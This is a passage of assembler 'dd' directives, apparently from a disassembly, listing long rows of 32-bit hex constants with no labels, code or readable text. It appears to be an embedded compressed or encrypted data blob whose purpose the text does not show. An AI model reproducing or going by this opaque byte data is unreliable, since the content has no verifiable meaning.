5800F03h, 13C3C40Dh, 0D7908AD9h dd 0C3EC52FBh, 0C811DA60h, 51217D0h, 89C78E4Ah, 0C6500585h dd 596C00A3h, 9BDA6B7Ah, 2F0368FCh, 0F9D44EE0h, 0C52107B4h dd 906203EDh, 0D194A377h, 0EB469C1Ch, 6B100A41h, 0D120C5F1h dd 598E008Fh, 5CB1A693h, 4B98837Dh, 0A00470D1h, 0EF7B080h dd 1908446Ah, 5D2EA520h, 80E90F47h, 0ACEA07E8h, 1F8031C9h dd 0DDD90B7Eh, 21ED184Bh, 25F47C21h, 0CFACD20Ah, 1D00888Fh dd 1A01520Bh, 42A4A03Fh, 3CFDFCA5h, 450793FEh, 3ED4C3B2h dd 0A280211Bh, 3A00ABCFh, 0DC2ED034h, 30C6C943h, 0B990ED6Bh dd 0DA00E901h, 5A8249F9h, 0F8E821h, 69BCA00Bh, 0FAB59268h dd 21C71DEAh, 1FA7E048h, 4EA3D1B0h, 0E8280054h, 74EB15B7h dd 4B004158h, 76D76B25h, 6050Dh, 1183303Ch, 1E4038F1h dd 6F441674h, 0E3B00087h, 6C93E7D4h, 0CF007042h, 95BF0809h dd 0DC2C053h, 69C6415Ah, 0F427E431h, 0FE70DB00h, 89BA0439h dd 1FD50EC2h, 0E14E4F5Ah, 3ACFB60h, 17003E8Dh, 9781EF9h dd 0BFDF122h, 0C9EE4606h, 7A160E80h, 9F3CBBF6h, 8674076Dh dd 0D4D6FB35h, 0EA2B1D21h, 0DD1D80F6h, 7C4E3999h, 30297300h dd 8D1FCCF2h, 0A81377F7h, 19F64128h, 483495FAh, 20519187h dd 885E7600h, 0BCCA71F3h, 453EDE00h, 494FE689h, 95E10FF2h dd 650ED023h, 0D15DE8E0h, 1D65BDD8h, 5C205A68h, 10FFF63Eh dd 0C4380C95h, 0D700D85Dh, 4E89397h, 5F019F7Ch, 0D4448179h dd 1FE091F3h, 23851EE6h, 0F030180h, 82D20EDFh, 4C153638h dd 499880BBh, 0C030F81Bh, 0B2A42D09h, 77003536h, 0C92A1CC1h dd 0F53F0Dh, 55E08F8Ah, 0F0B57CF7h, 0B0031D75h, 10C971C1h dd 424E0E29h, 3F80069Ah, 0C120FFFh, 0B4FD38A8h, 5E7A0517h dd 88381B11h, 0B01300F0h, 899B1F4Bh, 35460900h, 1CF0EF5h dd 6BA10072h, 0D604EBF6h, 7956FEC0h, 0A533FC8h, 0F065D2CCh dd 0D44112C4h, 0EC9DF654h, 7B01E9AEh, 93A435Fh, 1F87187h dd 0DB6A00C6h, 0D16EF7FBh, 0B1186F0Dh, 2EF81F36h, 20AB61E5h dd 0C1FD2041h, 0BEA1F76Ch, 974E0018h, 91C001ADh, 0D4BDEE7Bh dd 0DDCFDCE1h, 0C9FDB05h, 0F400FA45h, 0F42643Fh, 0D8AD011Dh dd 0EE3C99ACh, 0E83020EFh, 383E8228h, 0EBADBA02h, 1952F958h dd 0D5C450C7h, 5A00AD11h, 0BEA25DEEh, 5F7009h, 36C91C40h dd 0CC812764h, 0EF0EF60Fh, 0D0001C8Ch, 0AA3971EBh, 28967413h dd 0ECAC36FBh, 4CBA0306h, 1AD0510Ah, 0B4E8E9B0h, 0C33E5E01h dd 66F39AFBh, 5C990530h, 6C1CD0DBh, 0CF068CEh, 455227AEh dd 0BB02AFEEh, 0B2C8206Dh, 4179605Fh, 604AD1h, 2F3103F9h dd 0F4A0752Dh, 82505225h, 6304D950h, 9DF3D157h, 0A50E8F2Ch dd 0E0B43763h, 4877651Dh, 4360004Dh, 87BC901Eh, 0E3757CF3h dd 4B01107h, 9CF736C8h, 0FE3B301Ah, 8BD14C08h, 40EC6496h dd 2ABA3742h, 0C17A0023h, 0C3B9FE60h, 0F449305Fh, 95B3001Ch dd 0CE79174Ch, 39C8609Fh, 583805DFh, 0AC908172h, 6F00F846h dd 4F24BFBBh, 4484F75Dh, 0D900E65Fh, 0DFD8CBB4h, 1C91EFh dd 26B13D0Eh, 0B7AAD22h, 3C2BFD26h, 0FB5FCD01h, 0C25377Ch dd 52A61443h, 0A4011444h, 895855BAh, 24210D21h, 4D5B2080h dd 0EAD238ADh, 80A78418h, 0ED05EA0h, 17BE6A47h, 0B9A27706h dd 0BA218A02h, 8046443Fh, 40B2C4F0h, 2A84A9F1h, 3CF12C8h dd 1D7457A7h, 0D10102CAh, 175DE455h, 9980C884h, 3A7445B9h dd 0DD008608h, 0AEF16AB6h, 0DCD1CD0h, 896F8533h, 0F9D0403Ah dd 80C07A25h, 5F0C4DF5h, 14F0A0C3h, 9730C39h, 5980CAB6h dd 562FB900h, 0D7577B8Ah, 3619CF9Fh, 0A810AE00h, 0B4A04724h dd 430163B9h, 0FE731FB7h, 29870B0Eh, 3042AE96h, 0EAE2E3F7h dd 0EDF59D1Dh, 0F804CF80h, 54B8411Eh, 1D07F0E0h, 80DDF4C8h dd 0D222CABAh, 6581D856h, 4C3418F0h, 8505082h, 0B89367h dd 0D02DBC4Fh, 38919EA3h, 0BA3AE960h, 87D0014h, 3B837664h dd 280F1F01h, 9535E1Bh dd 2C64080Fh, 0FB465Ch, 7B63C4C1h, 86CF3Fh, 82D25D97h dd 0F3996AB0h, 0EC09D828h, 7F0CF500h, 258EAA3Ch, 0CBFB3F01h dd 6F8BC680h, 963642Ch, 5D1C1700h, 8774DD88h, 3CD2B03Fh dd 0A1805F56h, 2FE21566h, 2E00ADFCh, 0EE7C284Dh, 992DAFh dd 7F9BEF75h, 3B952181h, 0EC4A611Eh, 70653A00h, 33DF12Fh dd 0DD716C5Ah, 36873BD7h, 21065832h, 307E3AE3h, 0F75F069h dd 3FEA9BECh, 0D9A4D303h, 703508CEh, 7B8020D5h, 0A71C99h dd 571B35D2h, 0CD7B0218h, 13666148h, 92007D3Ah, 0C4651395h dd 3C9908Bh, 705C3748h, 7A0AB35h, 1200782Bh, 56F4748Eh dd 0F8D53C29h, 30F0F665h, 0B7EEBB18h, 0CF000C67h, 0E66F7699h dd 7E2C6BE3h, 2DF70043h, 0D6E77D3Eh, 0BAB0312Ah, 710CEF1Fh dd 0E0268287h, 12FAF8C0h, 0ACA001D4h, 0B8981F91h, 2E79BBECh dd 4A1DC662h, 0A4F0420Fh, 0FFAA125h, 0BD03CA99h, 1000A017h dd 0F61F3A80h, 1EADD331h, 2E84BAE4h, 172F02EDh, 0B603216h dd 0E9014572h, 0F0ADCD8Ch, 1CBBC0Ch, 0B778441h, 803591C5h dd 0ED3D6030h, 79C2BE07h, 589B3075h, 82F6A144h, 487E9E00h dd 78625501h, 0ADD50090h, 0B0FCFD5Bh, 0BD30C7C2h, 8A50A9BAh dd 21704Ch, 0A63C0512h, 0EEB5F93Bh, 323D7701h, 0FC6C1D02h dd 79EDCCh, 0A21BDB69h, 886458F2h, 67860501h, 1AD54A02h dd 3891E1D0h, 0F6009997h, 8E4E0DD8h, 12005ED0h, 0FE301E36h dd 3A372Ch, 0B6A179A8h, 74463DD4h, 55CB5900h, 3D6CCBCh dd 181A00F1h, 6640EAF0h, 0D301FF6Dh, 0E38F5457h, 3980A2A5h dd 10EF5FCEh, 0F5265E14h, 2001A272h, 5D7A8AF4h, 0E53230h dd 2FB09ACCh, 4CB256F6h, 0E9D16F00h, 0E73D7CA8h, 31AA1636h dd 0E00AB176h, 0C51CB537h, 0BA3EF887h, 21733090h, 0F2FA1Eh dd 0B9BB1AE6h, 3A85B88h, 0BC7D230Eh, 0E448C0F4h, 789FB45h dd 88D861E2h, 0C14DE1C6h, 0D4B2FC17h, 2E358E00h, 0E57A1CD5h dd 0B807015Dh, 17A614DAh, 5F3ED0DDh, 240A2100h, 4642D8A2h dd 9E190BB7h, 6A839B34h, 4812AFC6h, 0C1BC6FA4h, 0E7F40E74h dd 7FC0342Fh, 0AD26AACBh, 0CD2A3E00h, 0A8F527D9h, 401E008Bh dd 0B910AF68h, 0EF0648B0h, 0C554B8B4h, 99DD0351h, 0E731D135h dd 38E4A8C0h, 8016D0A1h, 356467B9h, 2E4919h, 1DEC7218h dd 0E054DA6Bh, 0C897B200h, 19336862h, 0FB2131EDh, 0C538C60h dd 75350265h, 0AECBC72Bh, 21BEAB11h, 16356000h, 741855F1h dd 83848002h, 0A4663B73h, 52C3768Ch, 8C9118FFh, 0D8581969h dd 0ACD30700h, 34ECFD7Dh, 3E02EC4Dh, 3E80A61Eh, 0B21A2BA7h dd 1300CAC7h, 0BD32D1CEh, 0ED0A38Ah, 0F8EC82BBh, 4379C527h dd 2000D845h, 8A2E28Fh, 56911h, 5A5D3513h, 0F42F10FBh dd 0B2607F71h, 0CA38F528h, 83F4A6h, 28C7A07Eh, 0ADBF2535h dd 14B2900h, 0AFE990B2h, 88D11CB1h, 86774026h, 17AADF84h dd 3B2D6600h, 0A9541BF5h, 0B37600A8h, 0F3D87DC8h, 0CD009369h dd 94C27990h, 0FF1C7A5h, 0AC0BEB5Eh, 37982C80h, 64003A82h dd 7F520146h, 5CBF1B8h, 3100D24h, 3C0DC3BBh, 0F8C32102h dd 80A3F9B6h, 0E2A2BCBAh, 7D07007Ah, 727FC01Ch, 0BE60659Dh dd 98AF32A8h, 85CB1899h, 0E3A14134h, 0B194A600h, 8F663F7h dd 413200D0h, 2B0223CDh, 7600E32Fh, 28DF44A8h, 306821F6h dd 351AD6Eh, 6329F8B2h, 9100C017h, 9AA273A3h, 4B208643h dd 0CD04CCDh, 0B8979004h, 0E3AA874Eh, 5138E08Fh, 0E69C00C9h dd 0AFBCA3DAh, 64CB01D0h, 5C01440Eh, 17CFD080h, 31B2B9C0h dd 1E8509Dh, 3437991Fh, 0D1306827h, 23D0500Bh, 0A100512Bh dd 1CAC3BC9h, 0CFED199h, 0AED96A56h, 39001EC1h, 59081F09h dd 0C5AC7569h, 7EB21D19h, 0E71AC004h, 0E11BBDBh, 9018F146h dd 4136453Fh, 0EBA382A7h, 9E998490h, 0E538FB60h, 0B09F86ADh dd 877C000Dh, 9512EFE1h, 4A7DBBEh, 0CA5A9902h, 0F814BCD5h dd 0B047FE48h, 509E3ED8h, 88C75400h, 622A2890h, 0A7C07A02h dd 0A1DBE96Dh, 6B43A20Ch, 8981F910h, 0A08F1E88h, 0EF739918h dd 846E611h, 24CA50CEh, 1049424Ah, 0AE8A898Ch, 95FE8830h dd 82427242h, 119A140Ch, 0B91852B6h, 444224A2h, 84977510h dd 9A3C5A54h, 24FE5786h, 2283F3C4h, 4818A192h, 0D6128A32h dd 4A650CA5h, 840CFA78h, 488FC474h, 32E56586h, 0CA5EAA8h dd 0CE184806h, 7B123781h, 5F6A466h, 900C5F95h, 9DD98868h dd 0F18C4191h, 0CAC1B92Dh, 4AAF0040h, 3D77A1Eh, 0CA1E4580h dd 1AECE5h, 9AE388A2h, 70DA1690h, 5ABE9400h, 0B6A5B302h dd 24C148FFh, 1A05EB80h, 0B8CB94BFh, 3CF88687h, 0E1A61D70h dd 5CCC4E7Ch, 20434520h, 0BD006CC0h, 0D48A4A52h, 60405FD2h dd 0B4E6A1D8h, 0E412B8E9h, 6001585Dh, 0FCE34BEDh, 0FB8892h dd 47C8A196h, 88F284F7h, 1253D607h, 0D5321127h, 157C42DCh dd 11E50E1Ch, 5F83650Fh, 0B14C3398h, 50DA0034h, 469C5EE7h dd 599400F4h, 4CC645CAh, 58C89175h, 0C81180F7h, 2B63DFBAh dd 0F600DBECh, 954B2AEBh, 305E1C20h, 0E8D99440h, 46186221h dd 77A098ACh, 0E1C00A59h, 43146CF6h, 6823BE96h, 0E90738BBh dd 40E1E019h, 5104FA41h, 7848711Fh, 9915C028h, 98D24Eh dd 0CCD85508h, 198A244h, 0C5AAE66h, 20697825h, 86331443h dd 9C93B802h, 46B210C0h, 402F60F0h, 0B630D1EBh, 0F7F1551Ch dd 43851001h, 6880CDDCh, 20694B34h, 0DF0D0EB7h, 18B3CBC2h dd 0C65A79C0h, 807D46D1h, 0C7A4A721h, 15BE20EBh, 0C8A0A022h dd 0C40E895Ch, 0C0AF6ED4h, 3A05FB29h, 0ABC606BAh, 98694AEFh dd 10E34531h, 7D0166F2h, 0D5CC4087h, 2F26C121h, 0E03608Ah dd 0A362227Eh, 0CC9A703h, 104A03Ch, 53BFCDCh, 0BE47D651h dd 717D1470h, 18206CDCh, 88CB504Bh, 0BF3F07C5h, 43E2B1D9h dd 190A5FBAh, 84CC907Dh, 0D921F5E1h, 0A93F4DDCh, 85E0F8C0h dd 89360598h, 8018117Dh, 6C22DBECh, 662ABCA0h, 185E51C9h dd 79F96D7Ch, 39490DEh, 6C455A25h, 0C2B0AC22h, 18C16805h dd 9ADC4665h, 0D4422021h, 0BA48404Bh, 0EDD0C153h, 80B26048h dd 98FF0EA0h, 38C9AC23h, 9714A922h, 0F613A053h, 0ECFC0193h dd 209A2E2Ah, 7B1FC154h, 1700ED85h, 16C9F89Dh, 4680A0ADh dd 0AA7D1C52h, 3894D8EFh, 9E01C1E9h, 48140C91h, 41F11A0Fh dd 408AE971h, 6C4A2EFh, 0A1264BBEh, 905FD902h, 68C0793Ch dd 80673108h, 0DB04BA6Bh, 0D21A3BF7h, 54AE7480h, 0A45751FBh dd 0A07485F8h, 789EC5D0h, 1C9F03ACh, 0E048F827h, 92177102h dd 948C8F20h, 0B7581030h, 0C022A1E8h, 0E2D97C30h, 2648AAh dd 7E107D09h, 73F74823h, 307167A3h, 0DA66892Eh, 0AA0BBA00h dd 49D65016h, 0AF009C42h, 989C2EDCh, 8C1F49E9h, 0DC646328h dd 6EDD8AC0h, 0B24502C0h, 0F40E985Eh, 0D5EF7041h, 589440F8h dd 0A49AFFB8h, 8AE3AF00h, 0B77A782Eh, 0C44B0152h, 5496D9BAh dd 0A61424B9h, 0FD69B000h, 6DCD9286h, 362103EDh, 873E4F02h dd 0A5084800h, 0DAA3D1CFh, 0EB9F0241h, 5CE23522h, 7804A867h dd 0FCC03647h, 9BAECF7h, 0C7E92AC9h, 0F025014h, 29F1BCA6h dd 0AC4890E5h, 3A8E0BB8h, 28A37C12h, 2FA01918h, 58007F5Bh dd 0BDCC51D6h, 3FF1CB35h, 2EFC9BB4h, 0AFB4Ch, 5CD9979Dh dd 0F3006EAEh, 0CB7BD547h, 0FE26BBh, 29A4FD7Eh, 8EA76FB2h dd 0B319107h, 501A130h, 3194068Fh, 7F008BE3h, 4189AECBh dd 4AEC468Ah, 5182AF00h dd 9D1A5362h, 32B30793h, 8054A2E6h, 28DB9F11h, 55F760C0h dd 1B974Dh, 0CC8AB9BFh, 40E905F1h, 0EF202760h, 60FDF783h dd 108F5884h, 0E06E31Bh, 0A470BF40h, 42712231h, 832B60Ch dd 6D568A3h, 63875022h, 78CC2889h, 2EC293Fh, 1B7EBF7Fh dd 0E6637C8Fh, 5300C8EEh, 0B28BF738h, 0F0E9EB3Dh, 26E3E1BFh dd 3C8E8A40h, 40081E28h, 89468D0Dh, 3100E29h, 0B06104D8h dd 83DCFCC0h, 0DEB1251Dh, 0C25AAD0Fh, 80A755F5h, 8A93D1A0h dd 0A8630070h, 5EDCB206h, 77B8AB01h, 0C000AE7Fh, 5357BD79h dd 0A4145A64h, 0D2F128D8h, 0D4120304h, 0CEB2BFA4h, 97C51900h dd 472D1D3Dh, 8BED15CBh, 2902E444h, 0AC4218D9h, 9FF2E0A1h dd 0C641CC4Fh, 82098A05h, 0E840E42Eh, 0A4C9C50Ah, 0B94F3932h dd 0B86E9500h, 2ABE4D5Ah, 20692024h, 0A4355E50h, 631224C8h dd 9FDE8204h, 98A88ABFh, 417500D0h, 91AF1C54h, 8C9CE211h dd 0B3BFFC06h, 0B8EED953h, 6845E805h, 28002FB6h, 47A7652Bh dd 9E0E03D2h, 4D252615h, 0CBAA1109h, 1F9000Fh, 2A14174Eh dd 5030F7E7h, 0A8805807h, 0C77448h, 0FCEB9D79h, 4944E087h dd 0C500627Ch, 418E9728h, 0A0ABF7D2h, 151A2D98h, 0A039BF08h dd 41AC445h, 903E8384h, 0A2348140h, 5E081D00h, 7F2D9210h dd 5DF6000Fh, 855C672Fh, 1F3CE539h, 0BF368079h, 541B4568h dd 0A1A91CC6h, 21C0007h, 66FAF739h, 0D79BA805h, 0C0BF3B4Eh dd 628C8581h, 9E7F4F07h, 683334D9h, 28D8C8B5h, 0C5EB00BFh dd 0D09D3C95h, 430F2941h, 0F43D19h, 3569FB7Eh, 0A9E2002Ah dd 123BA3Ch, 7200673Eh, 979E473Bh, 1FFA389h, 5818A842h dd 0F0A157BCh, 2C1CD653h, 0A640638Ah, 0CF34FE40h, 0F097001Fh dd 0D5AD0B06h, 8C001D1Ah, 0A3E9DBABh, 10DEEh, 53D18326h dd 0F8EA3B1Bh, 0B5E2691Eh, 147BB3C0h, 9E9203h, 54F3320Bh dd 65F840CDh, 0DB1F7500h, 421A13AFh, 2714078Fh, 20DD1BF0h dd 376BEE1Eh, 0F61C4000h, 3C29D801h, 75F77E3Bh, 369400D7h dd 2DEE1603h, 0E6009DF1h, 478DCAFCh, 0ECCD49h, 114544FEh dd 9150F71h, 8808601h, 8D4626B1h, 13904D8h, 5CA50DBh, 7020F9DDh dd 1500134Fh, 7B22A511h, 52A95Ch, 0D5813108h, 4153E289h dd 373DFB02h, 40C432E7h, 0D3A948h, 8DD06768h, 0AFFF3556h dd 4A580A0Bh, 2DAE00E7h, 0B8D8ADh, 34F7EF89h, 40AA4D27h dd 0EC4F9200h, 0AFEB0DD1h, 0FFF100C0h, 50F3E1E4h, 0E0B884Bh dd 8FFAF221h, 0A0EFC02Eh, 0E4357DEh, 5DA39A33h, 15CD3C00h dd 0D8009F36h, 0EB39CF9Ch, 3AEFC4h, 8A309A2Bh, 7E60DFE9h dd 0BB20F800h, 987D3F19h, 8D4400A8h, 3490E8B6h, 80078BFh dd 9B63E288h, 1ECD0F77h, 80F01428h, 7CDFADDCh, 620027CFh dd 483CEFA5h, 3A1E708Dh, 618F2910h, 4180AC2Bh, 2609803Eh dd 79C56000h, 217AE28Ch, 5ECD0022h, 13C0B67Fh, 5F74E640h dd 0DEBDBE2Fh, 0B9800A3h, 70C3C149h, 9979F900h, 108E025Bh dd 0BCE81267h, 537B036Ch, 86B03B83h, 3D0016C1h, 0FC3FC6FAh dd 7C2D32DDh, 10171E7Eh, 0BBB91237h, 0A0A1A500h, 3FD1454Ch dd 0D205B0D9h, 8001CA28h, 0C092A48Fh, 4C528300h, 0EF871675h dd 0D6CB0E6Eh, 70E0E473h, 0A36D8420h, 0B85C9700h, 770F3624h dd 4D9B0138h, 16EF0972h, 0E56A8091h, 2BD22205h, 0D4EE46h dd 35877412h, 0AE839E68h, 8600C171h, 1E66E56Fh, 4D1656h dd 30945091h, 0B1F75EB8h, 8BDE26C0h, 32E4BCh, 58920E1h dd 0AA212D7Dh, 251E7E7Ah, 2941D952h, 0E7B9078Fh, 0F694C330h dd 44AA0074h, 7A0C37DBh, 20002571h, 0EC69D4A5h, 1D828B88h dd 0C7923E4Dh, 0B097934Fh, 0D7218E2Fh, 0FFF09605h, 0F000ED47h dd 4BE9A403h, 0AAF12ED2h, 0E450175h, 0D4F266A5h, 0E11802FBh dd 0E0D8521Bh, 9C4C01E3h, 0D8FDC22h, 2C2424D9h, 0F524CF0Ch dd 6664070h, 0C827AD0Fh, 0AF00C89Fh, 0A55F8D99h, 0F28089Ch dd 0C39A840Dh, 0A6DE1340h, 0FC380E34h, 0CBDF80F6h, 18E097FEh dd 0AAD20063h, 19A59673h, 0E0B77F36h, 106594Bh, 0F833AFD4h dd 307C469Ch, 0B100356Ah, 0C3CD0E32h, 1CB21Ah, 0A09C3788h dd 39080D76h, 21E48E00h, 9962F7FCh, 79A5EA2Eh, 647C0077h dd 0E5902D45h, 3D004D8Fh, 0AFC04EE2h, 928BBDB0h, 771F0E10h dd 802029BCh, 8E218F54h, 0B56A9B00h, 0A7367409h, 311A0042h dd 73A3C7ACh, 2400BE6Eh, 2AF2927Bh, 5CB694h, 0FC1AD6CAh dd 0C4971617h, 26CD3800h, 0AB378693h, 56F600ECh, 0CFAF402Bh dd 430082E4h, 8BCB3418h, 1484535Eh, 0C483708Eh, 0C004A39h dd 33E48C50h, 41023920h, 255B27B3h, 0DEDC48DBh, 70841F87h dd 0A2718095h, 0D96AE57Ah, 0A738FB3Bh, 1E7A7673h, 138540AEh dd 6D055E90h, 34F6DD00h, 8B9CC8AAh, 0C5970780h, 0F06A6766h dd 0A93BD6EFh, 4887AD1Eh, 0D9E66200h, 52E7FEh, 0B0E88CCAh dd 0C71955Bh, 1C05AE00h, 0ED685A67h, 7A810FDAh, 0D058383Bh dd 500086FAh, 698E266Eh, 3F72FF68h, 5E00D225h, 4128FD7Ch dd 980014FAh, 84A32D3Dh, 0B90826Eh, 4E74C89Bh, 0C4C2D280h dd 0B575D92Bh, 0BBC0282Eh, 904B6A1Fh, 22C9809Eh, 175FE50h dd 0A8326242h, 0FB6D4B2Ah, 0D914DAC8h, 43B42500h, 0E771AC48h dd 0B6D400E6h, 1DAF1196h, 4F1EB3BCh, 324F8AA1h, 0F36BA080h dd 668567h, 7E08C70Ah, 5E21746Fh, 8F03D600h, 477D5017h dd 0BF091D26h, 85F041C8h, 605EA2E7h, 0C1189BCEh, 8988E93Dh dd 0DAC0E76h, 1E074B82h, 0D41C40FEh, 3A00838Bh, 71FC667Eh dd 77CC30D5h, 8756C4AAh, 0A181C061h, 5BF47686h, 0C66E1307h dd 5DE7C521h, 8019E3F7h, 350B449Ch, 92B51CB8h, 0F924BCFFh dd 7EB6817Ch, 70372661h, 0E349208Ch, 93007BD8h, 8A9CE69h dd 3DF33C0h, 46B35BCAh, 0D0F7EA0Fh, 0AE5EA590h, 9E8B9900h dd 5431C232h, 0EBA05CB9h, 0CE7A4600h, 22CB61F2h, 0F87B8000h dd 1A918ABCh, 0A074380Dh, 8B302248h, 0A7D72DB6h, 0A6F81F39h dd 5C1F77D5h, 43E08F80h, 0E82B12h, 617CCD30h, 0C9DD3A9Bh dd 0B6004077h, 1C70D2B5h, 41A021h, 3EF10350h, 0C1A50BF7h dd 2F98B900h, 0EEBBA24Eh, 0E5C6006Ch, 87F105E7h, 0B10067ABh dd 0F5358A9Fh, 38B2114h, 0BBB8FC13h, 59A0519Bh, 103BCDAh dd 3E07C2ACh, 0BB29005Bh, 9C39F3C3h, 0FD00599Fh, 7C6CB7DCh dd 0DA0863h, 194DE60Ch, 0D9F7A496h, 0E9A5D17h, 1B7D0FAEh dd 9CA2F9A0h, 380790DAh, 1992CAA0h, 31EFF30h, 8F470178h dd 45AF16FBh, 0A1708729h, 20071C4h, 3EE5A70Ch, 0DC85F0C5h dd 0C21352EDh, 0F9605FB1h, 0A6003A87h, 1556F9E5h, 24BF5B9Eh dd 0FE1CE9Bh, 0C747AF71h, 1E74313h, 0F8235900h, 0AACB6663h dd 0E5C40FCAh, 7680521Ah, 1B62993Ch, 7EBD8826h, 0CE044500h dd 0AD6A8Ah, 0FD8CAA35h, 0E85F6252h, 9DBCD50Bh, 63678045h dd 0DD8468h, 0B431156h, 8A013787h, 3096B301h, 0B0F77CFAh dd 9534D0h, 0B94B149Ch, 0B46EB271h, 9A2FA200h, 8C720AD0h dd 0F310055h, 5FA9D91Eh, 0FFE818C3h, 9B482400h, 0DA92B8F0h dd 0A504004Ah, 58CCB70Dh, 0A0007C62h, 35901FFh, 0D03352h dd 26A9D897h, 0B8E8F7D4h, 7AFF9F00h, 2BC79E63h, 77570138h dd 496FABC5h, 1B28C067h, 508F9A07h, 6B008D1Ah, 1DD7D540h dd 80187232h, 0E92BC00Fh, 0B4004FD4h, 3778A819h, 0D8BDB3h dd 17B510D9h, 0ACFBB9CBh, 4A80C400h, 34FE9381h, 0CE720F4Eh dd 1C73B84h dd 0DD634F32h, 0A590E7F1h, 3E003367h, 0E319EAEFh, 4369F65h dd 0E4B39E25h, 86BC0BDh, 86FAAC85h, 407A35B0h, 0BA14D300h dd 0FF432191h, 0AB1A0427h, 80010E62h, 0B6D69F94h, 0E2592900h dd 6D7758D4h, 0EC90E027h, 7EA60095h, 0D6B485FEh, 0DF009D64h dd 928E18BDh, 0ACD039h, 0ADD5AE27h, 23ED9066h, 6F8C2200h dd 0A46271AAh, 31920039h, 0F4EB1448h, 61E8FBFEh, 97FC751Dh dd 8560CF87h, 94F64330h, 36BE005Bh, 6F4D41F7h, 8198B166h dd 1E47CA3Bh, 3007D3Ch, 5C5B63DEh, 87750023h, 0ECFD6BCCh dd 7300E6EFh, 0E1D4C6D8h, 29678B1h, 2187B69h, 0D7E03757h dd 0A8031158h, 0A05DB347h, 3C39E8E6h, 997E00FAh, 16E244DEh dd 0E9A03EC3h, 0C8005C95h, 39CDE41Dh, 78FE58h, 429ADDF5h dd 8348F07Ah, 6A4E1203h, 78EDF1C6h, 6D190058h, 35F7849Ah dd 243AAF4Ah, 0D99E93B5h, 0AAABB400h, 3B26A35Dh, 0E800B8D5h dd 0A6121764h, 0B6011C3Dh, 0EC5B7FA8h, 966052D6h, 9B7FE6h dd 2232669Fh, 4C6E7172h, 57F1AE03h, 0D02A870Ah, 0ED9859h dd 0D37D85E0h, 801EBD53h, 0A303FCE6h, 222AC271h, 0E5EFB9Fh dd 0C9232F18h, 0BD6ABBC0h, 6C0CF32Dh, 208BBED1h, 0C147B831h dd 0C0F8F546h, 0E9BC4064h, 0BF18F4C8h, 2B0890C4h, 88FE171Ch dd 5DCE0961h, 4CD1DF83h, 80B687B1h, 47445269h, 0D85DA084h dd 0E31C6858h, 8F424300h, 65857C87h, 0F8F10329h, 4AA08027h dd 5F180CCDh, 2F4CBD88h, 303802C3h, 818A461Ah, 0F8FA2310h dd 7D15CE4h, 79E149F3h, 0E7EECFCCh, 64805720h, 300517Ah dd 3D3F9ABCh, 0C67EFCh, 29BFAF81h, 0EEFF46E9h, 779C6407h dd 0C580C4F1h, 0E63F9030h, 24EDE03Eh, 0A58434h, 0D54B0FC8h dd 0C61E2B52h, 6000FF9Ch, 0BC6EAFFEh, 0AAD6077Bh, 0B0F26A8Dh dd 87C414F0h, 1800AD7Bh, 70454ECBh, 1FB7EA7Fh, 81521FD9h dd 1078CE9Ch, 0B6E7DC16h, 52AD332Eh, 0E6007413h, 89E472B3h dd 7D97791Eh, 0A80E51A3h, 1404F8A3h, 47AB0C29h, 0A0BE8E30h dd 0C873AA0Ch, 147B0185h, 9DCCC320h, 515CF12Ch, 8D04C0Ch dd 4843866Bh, 8A721310h, 43A62410h, 1872861Ch, 7718A27Ch dd 51841158h, 421AA30Ch, 0F4188018h, 0A80CA013h, 0F14384DAh dd 3295B421h, 48F02A3Ch, 5C106743h, 3CB88AD5h, 68195898h dd 0CA54241Dh, 12F600F0h, 228D3C4Dh, 0CE186912h, 2380705Fh dd 0C51CFACBh, 2431EA81h, 0A0C922h, 0FC7B2B1Eh, 2F3C6E1Ah dd 30F03AD3h, 450A39FEh, 0DB850A9Eh, 12C87F4Ah, 7AD2020Dh dd 8C08BA8h, 0B500E860h, 0A9B3DCC9h, 7FB68E4Fh, 39291868h dd 33CA68C2h, 0B2001274h, 751E50F5h, 0E2442527h, 0DAA0E94h dd 0F4214256h, 503F821Bh, 92DC64Ch, 7380D9C7h, 0F2C852E0h dd 5075F62Ch, 35DCCA8h, 9A799853h, 0C0852B26h, 75D3819Bh dd 462AD600h, 0BE8AC56Bh, 87492C86h, 1A1E00A9h, 0C90DC6A2h dd 24E16515h, 4B30821Ch, 0F3B01C6Ah, 290AF000h, 0A9FE2BA8h dd 0C61B3AA3h, 0B088BB0Ah, 3A3754C0h, 62A76856h, 0A8532A40h dd 0A9C51871h, 293F29CAh, 7FF7D307h, 0D9A0861Eh, 79740Bh dd 5ADB8863h, 4DD2F097h, 5C25F429h, 43409B8Fh, 0C888C39Ah dd 8FBF6Ah, 0FC72E43Bh, 0ABEC7BB9h, 0DC418C02h, 0C088827Fh dd 2425708h, 60CB2B47h, 0C044D8BEh, 2D24A090h, 2A92301Ah dd 0FE121000h, 30DF75B9h, 4629A57Fh, 0C57178ADh, 2A9CCD03h dd 10127BD2h, 0EC871BB0h, 2FC58DB1h, 544C38h, 594B887Ah dd 0E5BB521Ah, 5C3929E2h, 0F041037Fh, 0A0371C95h, 6556925h dd 0EC9C9BD4h, 413A08CBh, 3A7F8209h, 80C1AE80h, 4D271818h dd 0E8527F82h, 0F96B0040h, 649CA219h, 3901468Ah, 433FBAAAh dd 388E62C2h, 2AA0B907h, 12895A38h, 40342F1Eh, 3E746480h dd 0C096B343h, 83F1EC70h, 5200CB8Ah, 0A3C1A5Bh, 30E20C85h dd 15809FDCh, 801D3EC8h, 90314BA1h, 0B980BCB1h, 5BA70616h dd 3937778Eh, 0C797309Dh, 82A80CA0h, 0C577AFh, 1F7F3222h dd 31D4BB7Ch, 0F1014003h, 0C0A9B773h, 0F2641F8h, 0A18D6D55h dd 11FBDDC0h, 56701F87h, 0F0A9F163h, 7F980019h, 0DC16DC2h dd 5D3C84A6h, 1E8380EDh, 3DFE9CE9h, 0AF02385Ah, 50874FB9h dd 0D028B3C7h, 6F574D84h, 0F1443357h, 0CC50959Dh, 72EA378Bh dd 0C0BF007Bh, 4D46D9EBh, 0A90057B6h, 0B15290F2h, 5A0F4Bh dd 9B93A0FEh, 0E92E0872h, 0B76A81Fh, 0F6DDC80h, 1863C98h dd 0BF10E28Fh, 2067BA9Bh, 1100D508h, 35AAA230h, 0EFB913h dd 98154DA7h, 0E99BBE66h, 20883C60h, 0F2C1EBh, 27FB5F3Fh dd 216B1A40h, 0C184AA52h, 0EE1E9EF9h, 61202021h, 47994CEDh dd 0C7FA4B03h, 0B1C84094h, 2E00157Ch, 0C04DD09Dh, 7EFF8069h dd 2717736h, 0D9C947BAh, 84A1B1E7h, 0D0EEE59Ch, 0F5000387h dd 0C11FE64h, 0A015D0Ah, 1DD37FEFh, 